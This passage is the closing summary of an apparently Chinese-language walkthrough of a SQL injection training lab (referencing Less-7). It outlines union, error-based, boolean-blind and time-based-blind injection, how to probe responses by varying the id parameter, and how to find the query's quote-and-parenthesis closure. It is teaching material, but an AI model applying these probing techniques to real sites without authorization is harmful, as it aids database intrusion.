else { echo "Please input the ID as parameter with numeric value";}
?>
11 总结
- 在上述关卡中,涵盖了联合查询注入、报错注入、布尔盲注和延时盲注四种基本类型,在测试过程中:
- 输入id=1和id=2进行比较,主要是观察是否会将查询结果回显到页面上。如果两个参数显示结果不同,基本可以确定是能将查询结果回显到页面上;如果显示一致,则有可能是刚好两个参数查询结果一致,也有可能是只要有查询结果就回显同一内容。
- 输入id=1和id=0进行比较,或者和id=-1进行比较,主要是观察查询语句出错时页面的响应情况。如果显示有异,则说明网页显示内容与查询结果存在布尔关系;如果显示一致,则说明网页内容与查询结果无关(但是可能在响应时间上有异)。
- 进行闭合方式判断,主要是目的为了后续构造的SQL函数能够成功被执行,没必要说将闭合方式研究到多精细。比如Less-7,虽然闭合方式为
((' '))
,但是我们只需要采用单引号将我们的语句闭合起来,就能在SQL中执行(执行结果再成为id的值),没必要将单引号外面有多少层括号研究清楚。
- 在本文的关卡中,我们发现了如何构造并让语句能带入到后台执行,但是具体语句能否执行还需要看程序后台如果对参数进行过滤。